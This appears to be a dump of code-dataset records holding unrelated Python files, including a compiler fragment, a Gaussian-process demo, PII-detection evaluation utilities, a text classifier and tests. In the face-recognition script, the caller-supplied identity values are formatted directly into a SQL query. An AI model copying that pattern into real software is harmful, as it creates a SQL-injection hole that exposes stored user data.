self._symbol_table.index_of(token)\n self.advance() # skip '['\n self.compile_expression()\n self.advance()\n self._writer.write_push(segment, index)\n self._writer.write_arithmetic('add')\n self.advance() # skip ']'\n self.advance() # skip '='\n self.compile_expression()\n self.advance()\n self._writer.write_pop('temp', 0)\n self._writer.write_pop('pointer', 1)\n self._writer.write_push('temp', 0)\n self._writer.write_pop('that', 0)\n\n def push_arr(self, token, segment):\n \"\"\" write vm commands for pushing an array \"\"\"\n index = self._symbol_table.index_of(token)\n self.advance() # skip array name\n self.advance() # skip '['\n self.compile_expression()\n self.advance()\n self._writer.write_push(self.SEGMENT_MAP[segment], index)\n self._writer.write_arithmetic('add')\n self._writer.write_pop('pointer', 1)\n self._writer.write_push('that', 0)\n\n def start_subroutine(self):\n \"\"\" restarting a subroutine \"\"\"\n self._symbol_table.start_subroutine()\n self.subroutine_name = None\n","sub_path":"project11/compilation_engine.py","file_name":"compilation_engine.py","file_ext":"py","file_size_in_byte":17377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"594874083","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport mogp_emulator\nfrom earthquake import create_problem, run_simulation, compute_moment\nimport matplotlib.pyplot as plt\nimport matplotlib.tri\n\n# This is a python script showing the mogp_emulator part of the demo, and contains the python\n# code found in the tutorial. This code is included for illustration purposes, as it does not\n# implement the workflow tools included with the FabSim plugin.\n\n# create Latin Hypercube sample of the three stress parameters:\n# first parameter is normal stress on the fault, which has a uniform distribution from -120 to -80 MPa\n# (negative in compression)\n# second parameter is the ratio between shear and normal stress, a uniform distribution from 0.1 to 0.4\n# third is ratio between the two normal stress components, a uniform distribution between +/- 10%\n\ned = mogp_emulator.LatinHypercubeDesign([(-120., -80.), (0.1, 0.4), (0.9, 1.1)])\n\nseed = None\nsample_points = 20\n\nnp.random.seed(seed)\ninput_points = ed.sample(sample_points)\n\n# Now we can actually run the simulations. First, we feed the input points to create_problem to\n# write the input files, call run_simulation to actually simulate them, and compute_moment to\n# load the data and compute the earthquake size. The simulation is parallelized, so if you\n# have multiple cores available you can specify more processors to run the simulation.\n\n# Each simulation takes about 20 seconds on 4 processors on my MacBook Pro, so the entire design\n# will take several minutes to run.\n\nresults = []\ncounter = 1\n\nfor point in input_points:\n name=\"simulation_{}\".format(counter)\n create_problem(point, name=name)\n run_simulation(name=name, n_proc=4)\n result = compute_moment(name=name)\n results.append(result)\n counter += 1\n\nresults = np.array(results)\n\n# Now fit a Gaussian Process to the input_points and results to fit the approximate model. We use\n# the maximum marginal likelihood method to estimate the GP hyperparameters\n\ngp = mogp_emulator.GaussianProcess(input_points, results)\ngp.learn_hyperparameters()\n\n# We can now make predictions for a large number of input points much more quickly than running the\n# simulation. For instance, let's sample 10000 points\n\nanalysis_samples = 10000\n\nanalysis_points = ed.sample(analysis_samples)\npredictions = gp.predict(analysis_points)\n\n# predictions contains both the mean values and variances from the approximate model, so we can use this\n# to quantify uncertainty given a known value of the moment.\n\n# Since we don't have an actual observation to use, we will do a synthetic test by running an additional\n# point so we can evaluate the results from the known inputs.\n\nknown_value = 58.\nthreshold = 3.\n\n# One easy method for comparing a model with observations is known as History Matching, where you\n# compute an implausibility measure for many sample points given all sources of uncertainty\n# (observational error, approximate model uncertainty, and \"model discrepancy\" which is a measure of\n# how good the model is at describing reality). For simplicity here we will only consider the\n# approximate model uncertainty, but for real situations it is important to include all three sources.\n# The implausibility is then just the number of standard deviations between the predicted value and\n# the known value.\n\n# To compute the implausibility, we use the HistoryMatching class, which requires the observation,\n# query points (coords), and predicted values (expectations), plus a threshold above which we can\n# rule out a point\n\nhm = mogp_emulator.HistoryMatching(obs=known_value, expectations=predictions,\n threshold=threshold)\n\nimplaus = hm.get_implausibility()\nNROY = hm.get_NROY()\n\n# now make two plots to visualize the space (projected into normal and shear/normal plane)\n\nplt.figure(figsize=(4,3))\nplt.plot(analysis_points[NROY, 0], analysis_points[NROY, 1], 'o')\nplt.xlabel('Normal Stress (MPa)')\nplt.ylabel('Shear to Normal Stress Ratio')\nplt.xlim((-120., -80.))\nplt.ylim((0.1, 0.4))\nplt.title(\"NROY Points\")\nplt.show()\n\nplt.figure(figsize=(4,3))\ntri = matplotlib.tri.Triangulation(-(analysis_points[:,0]-80.)/40., (analysis_points[:,1]-0.1)/0.3)\nplt.tripcolor(analysis_points[:,0], analysis_points[:,1], tri.triangles, implaus,\n vmin = 0., vmax = 6., cmap=\"viridis_r\")\ncb = plt.colorbar()\ncb.set_label(\"Implausibility\")\nplt.xlabel('Normal Stress (MPa)')\nplt.ylabel('Shear to Normal Stress Ratio')\nplt.title(\"Implausibility Metric\")\nplt.show()","sub_path":"vecma_mogp_demo.py","file_name":"vecma_mogp_demo.py","file_ext":"py","file_size_in_byte":4505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"290437128","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, print_function\n\nimport falcon\n\nfrom . import Resource\n\n\nclass StoreOrderOrderid(Resource):\n\n def on_get(self, req, resp, orderId):\n\n req.context['result'] = {'complete': False}\n resp.status = falcon.HTTP_200\n resp.set_headers({})\n\n def on_delete(self, req, resp, orderId):\n\n req.context['result'] = None\n resp.status = falcon.HTTP_400\n resp.set_headers({})","sub_path":"microservices/falcon-swagger/example-app-ui/app/api/api/store_order_orderId.py","file_name":"store_order_orderId.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"612375695","text":"import re\nimport copy\nimport random\n\nfrom faker import Faker\n\nfrom . import filth as filth_module\nfrom .filth import Filth\nfrom .detectors.known import KnownFilthItem\n\nfrom typing import List, Dict, Union, Optional, Tuple\nimport pandas as pd\nimport sklearn.metrics\n\n\ndef get_filth_classification_report(\n filth_list: List[Filth],\n combine_detectors: bool = False,\n output_dict: bool = False,\n) -> Optional[Union[str, Dict[str, float]]]:\n \"\"\"Evaluates the performance of detectors using KnownFilth.\n\n An example of using this is shown below:\n\n .. code:: pycon\n\n >>> import scrubadub, scrubadub.comparison, scrubadub.detectors.text_blob\n >>> scrubber = scrubadub.Scrubber(detector_list=[\n ... scrubadub.detectors.TextBlobNameDetector(name='name_detector'),\n ... scrubadub.detectors.KnownFilthDetector([\n ... {'match': 'Tom', 'filth_type': 'name'},\n ... {'match': 'tom@example.com', 'filth_type': 'email'},\n ... ]),\n ... ])\n >>> filth_list = list(scrubber.iter_filth(\"Hello I am Tom\"))\n >>> print(scrubadub.comparison.get_filth_classification_report(filth_list))\n filth detector locale precision recall f1-score support\n \n name name_detector en_US 1.00 1.00 1.00 1\n \n accuracy 1.00 1\n macro avg 1.00 1.00 1.00 1\n weighted avg 1.00 1.00 1.00 1\n \n\n :param filth_list: The list of detected filth\n :type filth_list: A list of `Filth` objects\n :param combine_detectors: Combine performance of all detectors for the same filth/locale\n :type combine_detectors: bool, optional\n :param output_dict: Return the report in JSON format, defautls to False\n :type output_dict: bool, optional\n :return: The report in JSON (a `dict`) or in plain text\n :rtype: `str` or `dict`\n \"\"\"\n results = [] # type: List[Dict[str, int]]\n filth_max_length = 0\n detector_name_max_length = 0\n locale_max_length = 0\n\n for filth_item in filth_list:\n sub_filths = [filth_item]\n if isinstance(filth_item, filth_module.base.MergedFilth):\n sub_filths = filth_item.filths\n\n results_row = {}\n for sub_filth in sub_filths:\n if isinstance(sub_filth, filth_module.KnownFilth) and sub_filth.comparison_type is not None:\n col_name = '{}:{}:{}'.format(sub_filth.comparison_type, filth_module.KnownFilth.type, sub_filth.locale)\n results_row[col_name] = 1\n else:\n try:\n detector_name = sub_filth.detector_name if not combine_detectors else 'combined'\n results_row['{}:{}:{}'.format(sub_filth.type, detector_name, sub_filth.locale)] = 1\n except AttributeError:\n print(type(sub_filth), sub_filth)\n raise\n\n # Dont include filth that was not produced by one of the detectors of interest\n if sum(results_row.values()) > 0:\n results.append(results_row)\n\n if len(results) == 0:\n return None\n\n results_df = pd.DataFrame(results).fillna(0).astype(int)\n results_df.columns = pd.MultiIndex.from_tuples(\n results_df.columns.str.split(':').values.tolist(),\n names=['filth_type', 'detector_name', 'locale'],\n )\n\n # Find filth types that have some known filth\n known_types = [x[0] for x in results_df.columns if x[1] == filth_module.KnownFilth.type]\n # Select columns for filth that have related known filth, but that are not known filth\n detected_columns = [\n x for x in results_df.columns\n if x[1] != filth_module.KnownFilth.type and x[0] in known_types\n ]\n detected_classes = results_df.loc[:, detected_columns].values\n # Take the detected_columns above and find their associated known counterparts\n known_cols = [(x[0], filth_module.KnownFilth.type, x[2]) for x in detected_columns]\n true_classes = results_df.loc[:, known_cols].values\n\n # Then no true classes were found\n if detected_classes.shape[1] == 0:\n return None\n\n if not output_dict:\n filth_max_length = max([len(x[0]) for x in detected_columns] + [len(\"filth\")])\n detector_name_max_length = max([len(x[1]) for x in detected_columns] + [len(\"detector\")]) + 4\n locale_max_length = max([len(x[2]) for x in detected_columns] + [len(\"locale\")]) + 4\n class_labels = [\n \"{} {} {} \".format(\n x[0].rjust(filth_max_length),\n x[1].rjust(detector_name_max_length),\n x[2].rjust(locale_max_length)\n )\n for x in detected_columns\n ]\n else:\n class_labels = [\"{}:{}:{}\".format(*x) for x in detected_columns]\n\n report_labels = []\n # If there is only one label reshape the data so that\n # the classification_report interprets it less ambiguously\n if detected_classes.shape[1] == 1:\n detected_classes = detected_classes.T[0]\n true_classes = true_classes.T[0]\n report_labels = [1]\n else:\n report_labels = [class_labels.index(x) for x in sorted(class_labels)]\n class_labels = sorted(class_labels)\n\n report = sklearn.metrics.classification_report(\n true_classes,\n detected_classes,\n output_dict=output_dict,\n zero_division=0,\n target_names=class_labels,\n labels=report_labels,\n # **extra_args\n )\n\n if not output_dict:\n report = (\n 'filth'.rjust(filth_max_length) +\n 'detector'.rjust(detector_name_max_length + 1) +\n 'locale'.rjust(locale_max_length + 1) +\n (' '*4) +\n report.lstrip(' ')\n )\n return report\n\n\ndef get_filth_dataframe(filth_list: List[Filth]) -> pd.DataFrame:\n \"\"\"Produces a pandas `DataFrame` to allow debugging and improving detectors.\n\n An example of using this is shown below:\n\n .. code:: pycon\n\n >>> import scrubadub, scrubadub.comparison, scrubadub.detectors.text_blob\n >>> scrubber = scrubadub.Scrubber(detector_list=[\n ... scrubadub.detectors.TextBlobNameDetector(name='name_detector'),\n ... scrubadub.detectors.KnownFilthDetector([\n ... {'match': 'Tom', 'filth_type': 'name'},\n ... {'match': 'tom@example.com', 'filth_type': 'email'},\n ... ]),\n ... ])\n >>> filth_list = list(scrubber.iter_filth(\"Hello I am Tom\"))\n >>> with pd.option_context(\"display.max_columns\", 20):\n ... print(scrubadub.comparison.get_filth_dataframe(filth_list)) # doctest: +NORMALIZE_WHITESPACE\n group_id filth_id filth_type detector_name document_name text beg end \\\\\n 0 0 0 name name_detector None Tom 11 14\n \n locale known_filth comparison_type known_text known_beg known_end \\\\\n 0 en_US True NaN Tom 11 14\n \n known_comparison_type exact_match partial_match true_positive \\\\\n 0 name True True True\n \n false_positive false_negative\n 0 False False\n\n :param filth_list: The list of detected filth\n :type filth_list: A list of `Filth` objects\n :return: A `pd.DataFrame` containing infomatoin about the detected `Filth`\n :rtype: `pd.DataFrame`\n\n \"\"\"\n results = []\n for group_id, filth_item in enumerate(filth_list):\n sub_filths = [filth_item]\n if isinstance(filth_item, filth_module.base.MergedFilth):\n sub_filths = filth_item.filths\n for filth_id, sub_filth in enumerate(sub_filths):\n results.append({\n 'group_id': group_id,\n 'filth_id': filth_id,\n 'filth_type': sub_filth.type,\n 'detector_name': getattr(sub_filth, 'detector_name', float('nan')),\n 'document_name': getattr(sub_filth, 'document_name', float('nan')),\n 'text': sub_filth.text,\n 'beg': sub_filth.beg,\n 'end': sub_filth.end,\n 'locale': sub_filth.locale,\n 'known_filth': isinstance(sub_filth, filth_module.KnownFilth),\n 'comparison_type': getattr(sub_filth, 'comparison_type', float('nan')),\n })\n\n results_df = pd.DataFrame(results, columns=['group_id', 'filth_id', 'filth_type', 'detector_name', 'document_name',\n 'text', 'beg', 'end', 'locale', 'known_filth', 'comparison_type'])\n suffix_label = '_y_suffix'\n\n return (\n pd.merge(\n results_df.loc[~results_df['known_filth']],\n results_df.loc[results_df['known_filth'], ['group_id', 'text', 'beg', 'end', 'comparison_type']],\n how='outer',\n left_on=('group_id', 'filth_type'),\n right_on=('group_id', 'comparison_type'),\n suffixes=('', suffix_label)\n )\n .rename(columns=lambda x: x if not x.endswith(suffix_label) else 'known_' + x[:-len(suffix_label)])\n .assign(\n known_filth=lambda df: ~pd.isnull(df['known_text']),\n exact_match=lambda df: (df['text'] == df['known_text']).fillna(False),\n partial_match=lambda df: ((df['beg'] < df['known_end']) & (df['end'] > df['known_beg']).fillna(False)),\n true_positive=lambda df: (~pd.isnull(df['known_text'])) & (~pd.isnull(df['text'])),\n false_positive=lambda df: (pd.isnull(df['known_text'])) & (~pd.isnull(df['text'])),\n false_negative=lambda df: (~pd.isnull(df['known_text'])) & (pd.isnull(df['text'])),\n )\n )\n\n\ndef make_fake_document(\n paragraphs: int = 20, locale: str = 'en_US', seed: Optional[int] = None, faker: Optional[Faker] = None,\n filth_types: Optional[List[str]] = None\n) -> Tuple[str, List[KnownFilthItem]]:\n \"\"\"Creates a fake document containing `Filth` that needs to be removed. Also returns the list of known filth\n items that are needed byt the `KnownFilthDetector`\\\\ .\n\n An example of using this is shown below:\n\n .. code:: pycon\n\n >>> import scrubadub, scrubadub.comparison\n >>> document, known_filth_items = scrubadub.comparison.make_fake_document(paragraphs=1, seed=1)\n >>> scrubber = scrubadub.Scrubber()\n >>> scrubber.add_detector(scrubadub.detectors.KnownFilthDetector(known_filth_items=known_filth_items))\n >>> filth_list = list(scrubber.iter_filth(document))\n >>> print(scrubadub.comparison.get_filth_classification_report(filth_list))\n filth detector locale precision recall f1-score support\n \n url url en_US 1.00 1.00 1.00 1\n email email en_US 1.00 1.00 1.00 2\n \n micro avg 1.00 1.00 1.00 3\n macro avg 1.00 1.00 1.00 3\n weighted avg 1.00 1.00 1.00 3\n samples avg 1.00 1.00 1.00 3\n \n\n :param paragraphs: The list of detected filth\n :type paragraphs: int\n :param locale: The locale of the documents in the format: 2 letter lower-case language code followed by an\n underscore and the two letter upper-case country code, eg \"en_GB\" or \"de_CH\"\n :type locale: str\n :param seed: The random seed used to generate the document\n :type seed: int, optional\n :param faker: A Faker object that is used to generate the text\n :type faker: int\n :param filth_types: A list of the ``Filth.type`` to generate\n :type filth_types: List[str]\n :return: The document and a list of `KnownFilthItem`\\\\ s\n :rtype: Tuple[str, List[KnownFilthItem]]\n\n \"\"\"\n if faker is None:\n faker = Faker(locale=locale)\n\n # TODO: register filth types to build up a dict that can be read from, like the detectors\n possible_filth = [\n filth_module.AddressFilth,\n filth_module.EmailFilth,\n filth_module.NameFilth,\n filth_module.PhoneFilth,\n filth_module.PostalCodeFilth,\n filth_module.SocialSecurityNumberFilth,\n filth_module.TwitterFilth,\n filth_module.UrlFilth,\n ]\n\n if filth_types is not None:\n possible_filth = [filth for filth in possible_filth if filth.type in filth_types]\n\n if seed is not None:\n Faker.seed(seed)\n random.seed(seed)\n\n doc = \"\"\n known_items = [] # type: List[KnownFilthItem]\n for i_paragraph in range(paragraphs):\n for i_sentance_group in range(random.randint(1, 10)):\n text = faker.text()\n matches = list(re.finditer(r'[\\s.]', text))\n position = random.choice(matches)\n chosen_filth = random.choice(possible_filth)\n pii_text = chosen_filth.generate(faker=faker)\n known_items.append({\n 'match': copy.copy(pii_text),\n 'filth_type': copy.copy(chosen_filth.type),\n })\n doc += (\n text[:position.start()] +\n position.group() +\n pii_text +\n position.group() +\n text[position.end():]\n )\n doc += \"\\n\\n\"\n return (doc.strip(), known_items)\n","sub_path":"scrubadub/comparison.py","file_name":"comparison.py","file_ext":"py","file_size_in_byte":13753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"296061442","text":"import argparse\nimport itertools\nimport timeit\n\nfrom nowac import NoWaCLoader\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--nowac_path')\n args = parser.parse_args()\n\n start = timeit.default_timer()\n\n nowac_stream = NoWaCLoader(args.nowac_path)\n\n print_index = 10000\n i = 0 \n\n with open('nowac.txt', 'w') as output_file: \n for document in nowac_stream:\n line = ' '.join(document)\n\n output_file.write(line + '\\n')\n\n if i % print_index == 0:\n print(f'PROGRESS: at document {i}')\n\n i += 1\n\n end = timeit.default_timer()\n\n print(f'Completed in {end - start} seconds')\n","sub_path":"scripts/nowac_to_txt.py","file_name":"nowac_to_txt.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"460543121","text":"# -*- encoding=UTF-8 -*-\n\nimport math\nimport os\nimport time\nimport cv2\nimport dlib\nimport numpy as np\n\nfrom MysqlPool import ConnPool\nfrom Log import ProgramLog\n\n# face detection\ndetector = dlib.get_frontal_face_detector()\n# key point detection\nsp = dlib.shape_predictor(os.path.join(os.path.split(os.path.realpath(__file__))[0], 'predictor.dat'))\n# face model\nfacerec = dlib.face_recognition_model_v1(\n os.path.join(os.path.split(os.path.realpath(__file__))[0], 'recognition.dat'))\n\n# set log path\nlogs_path = os.path.join(os.path.split(os.path.realpath(__file__))[0], 'logs')\nif not os.path.exists(logs_path):\n os.mkdir(logs_path)\nlocal_name = os.path.basename(__file__).split('.')[0]\nlog_path = os.path.join(logs_path, '{}.log'.format(local_name))\n\nlog = ProgramLog(log_path, 'DEBUG')\nlog.debug('model loaded!')\n\n\ndef detect_image(identity, user_identity, img_path, camera_add):\n # 注意这里的user_id是指的用户的唯一标识,可以是二维码,身份证等等\n conn = ConnPool()\n\n if not os.path.exists(str(img_path)):\n # 调用接口\n return 'file not exist.'\n\n if os.path.getsize(img_path) > 100000:\n mb_size = float(os.path.getsize(img_path)) / 1024 / 1024\n filesizes = 0.08\n rate = math.ceil((mb_size / filesizes) * 10) / 10 + 0.1\n rate = math.sqrt(rate)\n rate = 1.0 / rate\n\n img = cv2.imread(img_path)\n img = cv2.resize(img, None, fx=rate, fy=rate)\n\n cv2.imwrite(img_path, img)\n dets = detector(img, 1)\n else:\n img = cv2.imread(img_path)\n dets = detector(img, 1)\n\n if len(dets):\n for k, d in enumerate(dets):\n shape = sp(img, d)\n face_descriptors = facerec.compute_face_descriptor(img, shape)\n d_face = np.array(face_descriptors)\n\n try:\n res = conn.execute_sql(\n \"SELECT npy_path FROM vf_face_data WHERE {} = '{}';\".format(identity, user_identity)\n )\n log.debug(\"SELECT npy_path FROM vf_face_data WHERE {} = '{}';\".format(identity, user_identity))\n except Exception as msg:\n log.debug(msg)\n finally:\n conn.dispose()\n\n dist_ = 1\n try:\n d_rule = np.load(res[0].get('npy_path'))\n dist_ = np.linalg.norm(d_rule - d_face)\n except Exception as msg:\n log.debug(msg)\n\n if dist_ < 0.42:\n # 调用java接口和闸口接口\n log.debug(dist_)\n return dist_\n else:\n # 调用接口\n return dist_\n\n else:\n return 'no find person face.'\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"detect_image.py","file_name":"detect_image.py","file_ext":"py","file_size_in_byte":2638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"48523020","text":"# -!- coding: utf-8 -!-\n\nimport os\nimport unittest\nfrom utils import HTMLTestReportCN\nfrom utils.config_utils import local_config\nfrom nb_log import LogManager\n\n\nlogger = LogManager('API_Test').get_logger_and_add_handlers(is_add_stream_handler=True,log_filename=local_config.LOG_NAME)\ncurrent_path = os.path.dirname(__file__)\ncase_path = os.path.join(current_path,'..','testcases')\nresult_path = os.path.join(current_path,'..',local_config.REPORT_PATH)\n\ndef load_testcase():\n logger.info('加载api测试用例')\n discover = unittest.defaultTestLoader.discover(start_dir=case_path,\n pattern='test_api_case.py',\n top_level_dir=case_path)\n all_case_suite = unittest.TestSuite()\n all_case_suite.addTest(discover)\n return all_case_suite\n\nresult_dir = HTMLTestReportCN.ReportDirectory(result_path)\nresult_dir.create_dir('接口自动化测试报告_')\nreport_html_path = HTMLTestReportCN.GlobalMsg.get_value('report_path')\nreport_html_obj = open(report_html_path,'wb')\nrunner = HTMLTestReportCN.HTMLTestRunner(stream=report_html_obj,\n title='接口自动化测试报告',\n description='数据驱动+关键字驱动测试框架学习',\n tester='张祥春')\nlogger.info('接口自动化测试开始执行')\nrunner.run(load_testcase())\nreport_html_obj.close()\n","sub_path":"test_runner/run_all_case.py","file_name":"run_all_case.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"457138717","text":"from math import sqrt\n\nops = {\"+\":0, \"-\":0, \"*\":1, \"/\":1, \"^\":2, \"(\":3, \")\":3}\n\n\nclass Operator:\n def __init__(self, op):\n self.op = op\n self.precedence = ops[self.op]\n\n def __repr__(self):\n if self.op in (\"(\", \")\"):\n return f\"Op({'LEFT' if self.op == '(' else 'RIGHT'})\"\n return f\"Op({self.op})\"\n\n def exec(self, operand1, operand2):\n if self.op == \"+\":\n return operand1 + operand2\n elif self.op == \"-\":\n return operand1 - operand2\n elif self.op == \"*\":\n return operand1 * operand2\n elif self.op == \"/\":\n return operand1 / operand2\n elif self.op == \"^\":\n return operand1 ** operand2\n\n\nclass Variable:\n def __init__(self, name):\n self.name = name\n\n def __repr__(self):\n return f\"Var({self.name})\"\n\n\nclass Number:\n def __init__(self, value):\n self.value = float(value)\n\n def __repr__(self):\n return f\"Num({self.value})\"\n\n\nclass Error:\n def __init__(self, absolute=None, relative=None, value=None):\n if absolute is None:\n self.absolute = value * relative\n self.relative = relative\n self.value = value\n elif relative is None:\n self.relative = absolute / value\n self.absolute = absolute\n self.value = value\n elif value is None:\n self.value = absolute / relative\n self.absolute = absolute\n self.relative = relative\n\n def __repr__(self):\n return f\"{round(self.value, 4)} ±{round(self.absolute, 4)} ({round(self.relative*100, 4)}%)\"\n\n def __add__(self, other):\n if isinstance(other, (int, float)):\n return Error(value=self.value + other,\n absolute=self.absolute)\n else:\n return Error(value=self.value + other.value,\n absolute=sqrt(self.absolute ** 2 + other.absolute ** 2))\n __radd__ = __add__\n\n def __sub__(self, other):\n if isinstance(other, (int, float)):\n return Error(value=self.value - other,\n absolute=self.absolute)\n else:\n return Error(value=self.value - other.value,\n absolute=sqrt(self.absolute ** 2 + other.absolute ** 2))\n\n def __mul__(self, other):\n if isinstance(other, (int, float)):\n return Error(value=self.value * other,\n relative=self.relative)\n else:\n return Error(value=self.value * other.value,\n relative=sqrt(self.relative**2 + other.relative**2))\n __rmul__ = __mul__\n\n def __truediv__(self, other):\n if isinstance(other, (int, float)):\n return Error(value=self.value / other,\n relative=self.relative)\n else:\n return Error(value=self.value / other.value,\n relative=sqrt(self.relative**2 + other.relative**2))\n\n def __pow__(self, power):\n assert isinstance(power, (int, float))\n return Error(value=self.value ** power,\n relative=self.relative * power)\n\n\n\ndef tokenise(expr):\n \"\"\"Convert a mathematical expression as a string into a list of tokens for parsing\"\"\"\n expr = expr.replace(\" \", \"\")\n out = []\n buffer = []\n for c in expr:\n if c in ops.keys():\n if len(buffer) != 0:\n out.append(Number(\"\".join(buffer)))\n buffer = []\n out.append(Operator(c))\n elif c in map(str, range(10)):\n buffer.append(c)\n else:\n if len(buffer) != 0:\n out.append(Number(\"\".join(buffer)))\n buffer = []\n out.append(Variable(c))\n if len(buffer) != 0:\n out.append(Number(\"\".join(buffer)))\n return out\n\n\ndef convert_to_rpn(tokens):\n \"\"\"Convert a list of tokens in infix order to Reverse Polish Notation order\"\"\"\n out = []\n opstack = []\n for token in tokens:\n if isinstance(token, (Number, Variable)):\n out.append(token)\n elif isinstance(token, Operator) and (token.op not in (\"(\", \")\")):\n while len(opstack) > 0 and opstack[-1].precedence >= token.precedence and opstack[-1].op != \"(\":\n out.append(opstack.pop())\n opstack.append(token)\n elif token.op == \"(\":\n opstack.append(token)\n elif token.op == \")\":\n while opstack[-1].op != \"(\":\n out.append(opstack.pop())\n if len(opstack) == 0:\n raise ValueError(\"Mismatched Brackets\")\n opstack.pop()\n while len(opstack) != 0:\n out.append(opstack.pop())\n return out\n\n\ndef calculate_errors(expr, **errors):\n \"\"\"Take an expression as a list of RPN tokens and a set of value,error pairs and calculate the final error\"\"\"\n stack = []\n for token in expr:\n if isinstance(token, Operator):\n operand2 = stack.pop()\n operand1 = stack.pop()\n result = token.exec(operand1, operand2)\n stack.append(result)\n else:\n if isinstance(token, Variable):\n tostack = Error(value=errors[token.name][0],\n absolute=errors[token.name][1])\n elif isinstance(token, Number):\n tostack = token.value\n stack.append(tostack)\n return stack[0]\n\n\ndef get_error(expr, **errors):\n return calculate_errors(convert_to_rpn(tokenise(expr)), **errors)\n\n\nif __name__ == \"__main__\":\n e = \"(x^2 + y^2) / (2*y)\"\n c = get_error(e, x=(0.1, 0.0025), y=(0.01, 0.0025))\n print(c)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"504231969","text":"import torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nfrom torch.nn import functional as F\n\n\nclass RCNN(nn.Module):\n def __init__(self, batch_size, output_size, hidden_size, vocab_size, embedding_length, weights):\n super().__init__()\n\n \"\"\"\n\t\tParameters:\n\t\t__________\n\n\t\tbatch_size : int\n Batch size\n\t\t\n output_size : int \n output size\n\n\t\thidden_sie : int\n Size of the hidden_state of the LSTM\n\t\t\n vocab_size : int\n vocabulary size \n\t\t\n embedding_length : int \n Embedding dimension of GloVe word embeddings\n\t\t\n weights : str\n Pre-trained GloVe word_embeddings, \n\t\t\n\t\t\"\"\"\n\n self.batch_size = batch_size\n self.output_size = output_size\n self.hidden_size = hidden_size\n self.vocab_size = vocab_size\n self.embedding_length = embedding_length\n\n self.word_embeddings = nn.Embedding(vocab_size, embedding_length)\n self.word_embeddings.weight = nn.Parameter(\n weights, requires_grad=False)\n self.dropout = 0.8\n self.lstm = nn.LSTM(embedding_length, hidden_size,\n dropout=self.dropout, bidirectional=True)\n self.W2 = nn.Linear(2*hidden_size+embedding_length, hidden_size)\n self.label = nn.Linear(hidden_size, output_size)\n\n def forward(self, input_sentence, batch_size=None):\n \"\"\" \n Parameters:\n __________\n\n input_sentence: tuple \n input sentence with shape (batch_size, num_sequences)\n\n batch_size : int,(default: None)\n Used for prediction on a single sentence after training (batch_size = 1)\n\n Returns:\n _______\n\n Output of the linear layer with shape = (batch_size, output_size)\n\n \"\"\"\n\n input = self.word_embeddings(input_sentence)\n input = input.permute(1, 0, 2)\n if batch_size is None:\n h_0 = Variable(torch.zeros(\n 2, self.batch_size, self.hidden_size).cuda())\n c_0 = Variable(torch.zeros(\n 2, self.batch_size, self.hidden_size).cuda())\n else:\n h_0 = Variable(torch.zeros(2, batch_size, self.hidden_size).cuda())\n c_0 = Variable(torch.zeros(2, batch_size, self.hidden_size).cuda())\n\n output, (final_hidden_state, final_cell_state) = self.lstm(\n input, (h_0, c_0))\n\n final_encoding = torch.cat((output, input), 2).permute(1, 0, 2)\n y = self.W2(final_encoding)\n y = y.permute(0, 2, 1)\n y = F.max_pool1d(y, y.size()[2])\n y = y.squeeze(2)\n _output = self.label(y)\n return _output\n","sub_path":"texion/models/torch/rcnn.py","file_name":"rcnn.py","file_ext":"py","file_size_in_byte":2674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"400795107","text":"from django.contrib.auth.models import Group, User\nfrom core.tests.base import BaseTestCase\nfrom core.models import Participant\nfrom core.models.insurer import Insurer\n\nclass ParticipantsTestCase(BaseTestCase):\n def setUp(self):\n super().setUp()\n\n self.insurer = Insurer.objects.create(\n name=\"InsureCo\",\n is_active=True,\n )\n self.participant = Participant.objects.create(\n first_name=\"Foo\",\n last_name=\"Bar\",\n pp_id=\"pp_1234\",\n gender=\"m\",\n race=\"other\",\n last_four_ssn=\"1234\",\n date_of_birth=\"1949-08-23\",\n start_date=\"2019-01-01\",\n is_insured=True,\n insurer=self.insurer,\n )\n\n def test_participants_api_when_authed_as_front_desk(self):\n headers = self.auth_headers_for_user('front_desk')\n response = self.client.get('/api/participants', follow=True, **headers)\n\n self.assertEqual(200, response.status_code)\n\n def test_participants_api_when_unauthenticated(self):\n response = self.client.get('/api/participants', follow=True)\n self.assertEqual(401, response.status_code)\n\n def test_participants_can_be_queried_by_pp_id(self):\n headers = self.auth_headers_for_user('front_desk')\n response = self.client.get('/api/participants?pp_id=pp_1234', follow=True, **headers)\n self.assertEqual(200, response.status_code)\n\n assert len(response.data) == 1\n assert response.data[0]['id'] == self.participant.id\n","sub_path":"core/tests/participants.py","file_name":"participants.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"639903551","text":"import os\nimport gc\nimport torch\nimport argparse\nimport numpy as np\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nimport torch.optim as optim\nimport torch.backends.cudnn as cudnn\nfrom torch.utils.data import DataLoader\n\nfrom models import *\nfrom dataset_bert import *\n\nparser = argparse.ArgumentParser(description='Experiment 1 Bert Embeddings')\nparser.add_argument('--lr', default=1e-4, type=float, help='learning rate') \nparser.add_argument('--batch_size', default=256, type=int) \nparser.add_argument('--epochs', '-e', type=int, default=100, help='Number of epochs to train.')\nparser.add_argument('--preparedata', type=int, default=1)\n\nargs = 